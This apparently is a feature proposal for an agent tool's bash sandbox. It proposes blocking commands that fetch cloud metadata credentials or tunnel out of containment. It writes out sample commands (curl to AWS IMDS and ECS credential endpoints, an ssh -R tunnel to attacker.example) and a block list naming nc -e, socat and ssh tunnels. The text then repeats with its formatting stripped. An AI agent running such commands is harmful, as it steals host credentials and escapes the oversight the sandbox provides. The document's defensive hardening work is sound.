Summary
Borrowed hardening idea from Claude Code v2.1.257 (2026-09-01): its "Containment Escape" rule stops auto-approving commands that fetch cloud metadata-credential endpoints, evade egress restrictions, or reach across tenant boundaries. EMRG has nothing equivalent: danger-full-access is "no checks at all" (bash_tool.py:100) and even the workspace-write tier only inspects write targets — it never inspects network destinations. A sandboxed agent can still:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # IMDSv1 cloud credentials (AWS)
curl http://169.254.170.2/v2/credentials/ # AWS ECS container credentials
ssh -R 1080:169.254.169.254:80 user@attacker.example # egress tunnel to metadata
None of these touch a protected file path, so the current workspace-write checks pass them. On a cloud host (or any VM with a metadata service), a compromised/over-permissioned agent can exfiltrate instance IAM credentials with a single curl.
Proposal (small, heuristic — matches EMRG's existing sandbox philosophy)
Add a containment-escape check to _check_sandbox (bash_tool.py) that runs on the workspace-write tier (and optionally warns on danger-full-access):
- Block metadata endpoints in command text:
169.254.169.254 (IMDSv1/v2), 169.254.170.2 (ECS), metadata.google.internal, 169.254.169.123 (GCP metadata), fd00:ec2::254 (IMDSv2 IPv6). These addresses never legitimately appear in normal development commands.
- Block obvious egress-tunnel/credential-exfil markers:
ssh -R, ssh -D, ssh -L to non-localhost, nc -e, socat with EXEC:/remote TCP: to metadata hosts, curl ... -o writing outside workspace (already covered) plus curl ... --header "X-aws-ec2-metadata-token" (IMDSv2 token requests).
- Return the standard
(blocked, reason, "partial") tuple with a message naming the exact escape vector, so the caller can surface it — no silent pass.
Deliberately do not block danger-full-access outright (hosts opt into it for real work); at most emit a warning line in the tool result there. read-only tier already blocks writes; metadata fetch is read-only so it needs the new destination-based check.
Why now
- Claude Code shipped the equivalent guard this week (v2.1.257), validating the threat model.
- EMRG's three-tier sandbox (README marks it ✅) is a selling point; the write-only inspection is a known gap.
- Small surface: one regex list + one test file. Symmetric with the existing heuristic-block style (
_GIT_MUTATOR_RE etc.).
Context
Identified during comparable-tool review (evolution cycle R2304). No incident observed — preventive hardening. CC's rule also covers egress evasion and cross-tenant reach; those are harder to detect heuristically — the metadata-credential fetches above are the highest-value, lowest-noise subset.
Summary
Borrowed hardening idea from Claude Code v2.1.257 (2026-09-01): its "Containment Escape" rule stops auto-approving commands that fetch cloud metadata-credential endpoints, evade egress restrictions, or reach across tenant boundaries. EMRG has nothing equivalent:
danger-full-accessis "no checks at all" (bash_tool.py:100) and even theworkspace-writetier only inspects write targets — it never inspects network destinations. A sandboxed agent can still:None of these touch a protected file path, so the current
workspace-writechecks pass them. On a cloud host (or any VM with a metadata service), a compromised/over-permissioned agent can exfiltrate instance IAM credentials with a singlecurl.Proposal (small, heuristic — matches EMRG's existing sandbox philosophy)
Add a containment-escape check to
_check_sandbox(bash_tool.py) that runs on the workspace-write tier (and optionally warns ondanger-full-access):169.254.169.254(IMDSv1/v2),169.254.170.2(ECS),metadata.google.internal,169.254.169.123(GCP metadata),fd00:ec2::254(IMDSv2 IPv6). These addresses never legitimately appear in normal development commands.ssh -R,ssh -D,ssh -Lto non-localhost,nc -e,socatwithEXEC:/remoteTCP:to metadata hosts,curl ... -owriting outside workspace (already covered) pluscurl ... --header "X-aws-ec2-metadata-token"(IMDSv2 token requests).(blocked, reason, "partial")tuple with a message naming the exact escape vector, so the caller can surface it — no silent pass.Deliberately do not block
danger-full-accessoutright (hosts opt into it for real work); at most emit a warning line in the tool result there.read-onlytier already blocks writes; metadata fetch is read-only so it needs the new destination-based check.Why now
_GIT_MUTATOR_REetc.).Context
Identified during comparable-tool review (evolution cycle R2304). No incident observed — preventive hardening. CC's rule also covers egress evasion and cross-tenant reach; those are harder to detect heuristically — the metadata-credential fetches above are the highest-value, lowest-noise subset.